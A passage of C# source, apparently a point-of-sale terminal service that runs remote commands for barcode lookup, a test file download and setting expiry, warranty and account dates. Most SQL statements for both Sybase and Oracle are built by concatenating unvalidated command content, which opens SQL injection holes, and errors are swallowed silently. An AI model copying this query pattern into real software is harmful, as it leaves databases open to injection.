string sqlany = @"SELECT COMMODITY_NAME,COMMODITY_BARCODE,COMMODITY_RETAILPRICE FROM DBA.t_commodityex
WHERE(COMMODITY_BARCODE = '" + HANDCONTENT + "')";
//OdbcCommand cmd = new OdbcCommand(sqlany, conany);
//OdbcDataReader odbcDRD = cmd.ExecuteReader();
//bool i = odbcDRD.Read();
DataTable _CommodityTable = Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0];
string sqlhotset = "SELECT HOTKEY FROM DBA.t_hotkeyset WHERE COMMODITY_BARCODE = '" + HANDCONTENT + "'";
//OdbcCommand cmd1 = new OdbcCommand(sqlhotset, conany);
//OdbcDataReader odbcrd1 = cmd1.ExecuteReader();
//bool j = odbcrd1.Read();
DataTable _HotKeyTable = Lib.SyBaseHelper.QueryOdbc(sqlhotset).Tables[0];
DateTime conndate = Convert.ToDateTime(DateTime.Now.ToString());
String connectdate = DateTime.Now.ToShortDateString().ToString();
string connect_ip = lblIPAdress4.Text;
string machinename = lblComPName.Text;
string machinecode = "", serverpartcode = "", shopcode = "", brandnum = "";
string currcommcount = "SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex";
//OdbcCommand curr = new OdbcCommand(currcommcount, conany);
//OdbcDataReader odbccurr = curr.ExecuteReader();
int commcount = 0;
try
{
commcount = int.Parse(Lib.SyBaseHelper.QueryOdbc(currcommcount).Tables[0].Rows[0][0].ToString());
}
catch
{
commcount = 0;
}
FileStream fs = new FileStream("setup.ini", FileMode.Open);
StreamReader m_streamReader = new StreamReader(fs);
m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin);
string strLine = m_streamReader.ReadLine();
do
{
string[] split = strLine.Split('=');
string b = split[0];
if (b == "machinecode")
machinecode = split[1];
else if (b == "serverpartcode")
serverpartcode = split[1];
else if (b == "shopcode")
shopcode = split[1];
else if (b == "brandnum")
brandnum = split[1];
strLine = m_streamReader.ReadLine();
}
while (strLine != null);
fs.Close();
m_streamReader.Close();
string count = null; string sum = null; string DATE = null; string workname = null;
string sqlsum = @"SELECT MAX(TICKETCODE)as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL FROM DBA.t_selldata a " +
"WHERE A.SERVERPARTCODE = " + serverpartcode + " AND A.SHOPCODE = " + shopcode + " AND A.MACHINECODE = " + machinecode +
" AND SELLDATA_DATE BETWEEN (select max(startdate) from dba.t_personsell b where b.serverpartcode = a.serverpartcode " +
"and b.shopcode = a.shopcode and b.machinecode = a.machinecode and enddate is null) and '" + datenow +
"'";
//OdbcCommand comsum = new OdbcCommand(sqlsum, conany);
//OdbcDataReader sumread = comsum.ExecuteReader();
DataTable _SellDataTable = Lib.SyBaseHelper.QueryOdbc(sqlsum).Tables[0];
if (_SellDataTable.Rows.Count > 0)
{
//sumread.Read();
count = _SellDataTable.Rows[0]["max"].ToString();
sum = _SellDataTable.Rows[0]["sum"].ToString();
DATE = _SellDataTable.Rows[0]["SELL"].ToString();
}
string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " +
"b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" +
shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode +
"' and b.enddate is null";
//OdbcCommand comname = new OdbcCommand(sqlname, conany);
//OdbcDataReader nameread = comname.ExecuteReader();
DataTable _PersonsellTable = Lib.SyBaseHelper.QueryOdbc(sqlname).Tables[0];
if (_PersonsellTable.Rows.Count > 0)
{
workname = _PersonsellTable.Rows[0]["sellworkername"].ToString();
}
else
{
workname = "未登陆工班";
}
if (count == "")
{
count = "0";
sum = "0";
}
//string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata";
//OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany);
//OdbcDataReader conrd = ocmd.ExecuteReader();
//string COMMODITY_CODE = null;
//decimal SELLCOUNT = 0;
//if (conrd.HasRows)
//{
// conrd.Read();
// if (!string.IsNullOrEmpty(conrd["COMMODITY_CODE"].ToString()))
// {
// COMMODITY_CODE = (string)conrd["COMMODITY_CODE"];
// }
// SELLCOUNT = (decimal)conrd["SELLCOUNT"];
//}
string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" +
serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "'";
OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn);
OracleDataReader poini = cmdpoini.ExecuteReader();
int pcount = 0;
if (poini.HasRows)
{
poini.Read();
pcount = int.Parse(poini["count(*)"].ToString());
}
if (_CommodityTable.Rows.Count > 0)
{
string name = (string)_CommodityTable.Rows[0]["COMMODITY_NAME"];
string code = (string)_CommodityTable.Rows[0]["COMMODITY_BARCODE"];
decimal price = (decimal)_CommodityTable.Rows[0]["COMMODITY_RETAILPRICE"];
if (_HotKeyTable.Rows.Count > 0)
{
string hotkey = (string)_HotKeyTable.Rows[0]["HOTKEY"];
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount= 0,currsellcount= 0 ,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo +
//"' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode +
//"' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlsave, conn);
//ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo +
// "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode +
// "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey;
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount=null,currsellcount=null,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo +
// "' where MACHINECODE='" + machinecode +
// "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键";
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','" + commodityInfo + "')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
}
else
{
if (pcount > 0)
{
if (count == "0")
{
commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息";
// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount=0,currsellcount=0,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息";
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname +
// "',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
// "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "未找到对应商品信息";
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','未找到对应商品信息')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + commodityInfo +
"' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY +
"' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3,REMARK_DESC='正常," + commodityInfo +
"' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY +
"' AND MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 下载 命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "download")
{
string sql = "";
string Oraclesql = "";
try
{
if (REPEAT_STATE == "1")
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.baidu.com/img/baidu_sylogo1.gif");
request.Method = "GET";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream responseStream = response.GetResponseStream();
List btlst = new List();
int b = responseStream.ReadByte();
while (b > -1)
{
btlst.Add((byte)b);
b = responseStream.ReadByte();
}
byte[] bts = btlst.ToArray();
File.WriteAllBytes(@"E:\111\样本.jpg", bts); // 保存文件
try
{
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
if (REPEAT_STATE == "0")
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.baidu.com/img/baidu_sylogo1.gif");
request.Method = "GET";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream responseStream = response.GetResponseStream();
List btlst = new List();
int b = responseStream.ReadByte();
while (b > -1)
{
btlst.Add((byte)b);
b = responseStream.ReadByte();
}
byte[] bts = btlst.ToArray();
File.WriteAllBytes(@"E:\111\样本.jpg", bts); // 保存文件
try
{
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改有效期命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "expirydate")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set expiry_date = date('" + HANDCONTENT + "') where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
if (((DateTime)Lib.SyBaseHelper.QueryOdbc("SELECT EXPIRY_DATE FROM SYS_GLOBLE " +
"WHERE VAR_NAME = 'g_ver'").Tables[0].Rows[0]["EXPIRY_DATE"]).Date == DateTime.Parse(HANDCONTENT).Date)
{
isContents = true;
}
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set expiry_date = date('" + HANDCONTENT + "') where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
if (((DateTime)Lib.SyBaseHelper.QueryOdbc("SELECT EXPIRY_DATE FROM SYS_GLOBLE " +
"WHERE VAR_NAME = 'g_ver'").Tables[0].Rows[0]["EXPIRY_DATE"]).Date == DateTime.Parse(HANDCONTENT).Date)
{
isContents = true;
}
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 设置硬件有效日期
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "setwarranty_date")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set WARRANTY_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set WARRANTY_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 设置结账有效日期
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "setendaccount_date")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set ENDACCOUNT_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set ENDACCOUNT_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
